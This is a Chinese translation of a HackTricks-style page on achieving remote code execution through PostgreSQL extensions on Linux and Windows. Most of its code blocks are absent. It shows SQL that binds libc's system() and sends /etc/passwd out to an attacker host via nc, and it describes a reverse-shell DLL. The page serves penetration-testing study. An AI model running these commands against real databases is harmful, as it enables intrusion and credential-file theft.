RCE with PostgreSQL Extensions

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

PostgreSQL扩展

PostgreSQL具有可扩展性作为核心功能进行开发,使其能够无缝地集成扩展,就好像它们是内置功能一样。这些扩展本质上是用C编写的库,为数据库提供了额外的函数、运算符或类型。

从8.1版本开始,对扩展库施加了一个特定要求:它们必须使用特殊头文件进行编译。如果没有这个,PostgreSQL将不会执行它们,确保只使用兼容且潜在安全的扩展。

此外,请记住如果您不知道如何 利用PostgreSQL上传文件到受害者,您应该阅读此文章。

Linux中的RCE

有关更多信息,请查看:https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

从PostgreSQL 8.1及更早版本开始执行系统命令是一个已经被清楚记录并且直截了当的过程。可以使用此:Metasploit模块

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
使用base64编写二进制文件

要在PostgreSQL中将二进制数据写入文件,您可能需要使用base64,这将对此非常有帮助:

然而,在尝试更高版本时,显示了以下错误

这个错误在PostgreSQL文档中有解释:

为了确保动态加载的对象文件不会加载到不兼容的服务器中,PostgreSQL会检查文件是否包含一个带有适当内容的“魔术块”。这使得服务器能够检测明显的不兼容性,比如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始,魔术块是必需的。要包含一个魔术块,在模块源文件中的一个(且仅一个)中写入以下内容,之前必须包含头文件fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

自PostgreSQL 8.2版本以来,攻击者利用系统进行攻击的过程变得更具挑战性。攻击者必须要么利用系统中已经存在的库,要么上传一个自定义库。这个自定义库必须针对与PostgreSQL兼容的主要版本进行编译,并且必须包含特定的“魔术块”。这一措施显著增加了利用PostgreSQL系统的难度,因为它需要对系统架构和版本兼容性有更深入的了解。

编译库

获取PostgreSQL版本:

为了兼容性,主要版本必须保持一致。因此,使用9.6.x系列中的任何版本编译库应该确保成功集成。

要在您的系统中安装该版本:

然后编译库:

然后上传已编译的库并使用以下命令执行:

您可以找到这个库的预编译版本适用于多个不同的PostgreSQL版本,甚至可以通过以下方式(如果您有PostgreSQL访问权限)自动化这个过程

在Windows中的RCE

以下DLL以二进制文件的名称和要执行的次数作为输入,并执行它:

你可以在这个压缩包中找到编译好的 DLL:

4KB
打开

你可以指示这个 DLL 要执行哪个二进制文件 以及要执行的次数,在这个例子中它将执行 calc.exe 2 次:

这里你可以找到这个反向shell:

注意,在这种情况下,恶意代码位于 DllMain 函数内。这意味着在这种情况下,不需要执行加载的函数在 postgresql 中,只需加载 DLL 就会执行反向 shell:

在最新的Prostgres版本中的RCE

在最新的PostgreSQL版本中,已经实施了一些限制,其中superuser被禁止从特定目录加载共享库文件,例如在Windows上是C:\Program Files\PostgreSQL\11\lib或在*nix系统上是/var/lib/postgresql/11/lib。这些目录受到NETWORK_SERVICE或postgres帐户的写入操作限制。

尽管存在这些限制,经过身份验证的数据库superuser仍然可以使用“大对象”将二进制文件写入文件系统。这种能力扩展到了在C:\Program Files\PostgreSQL\11\data目录内进行写入,这对于数据库操作(如更新或创建表)至关重要。

一个重要的漏洞来自CREATE FUNCTION命令,它允许对数据目录进行目录遍历。因此,一个经过身份验证的攻击者可以利用这种遍历将共享库文件写入数据目录,然后加载它。这种利用使攻击者能够执行任意代码,在系统上实现本地代码执行。

攻击流程

首先,您需要使用大对象来上传dll。您可以在这里看到如何操作:

Big Binary Files Upload (PostgreSQL)

一旦您已将扩展(在此示例中为poc.dll)上传到数据目录,您可以使用以下命令加载它:

请注意,您无需附加.dll扩展名,因为创建函数将自动添加。

有关更多信息,请阅读此处的原始出版物 在该出版物中,这是用于生成postgres扩展的代码要了解如何编译postgres扩展,请阅读以前的任何版本)。 在同一页中,提供了这个自动化利用此技术的漏洞:

参考资料

从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!

最后更新于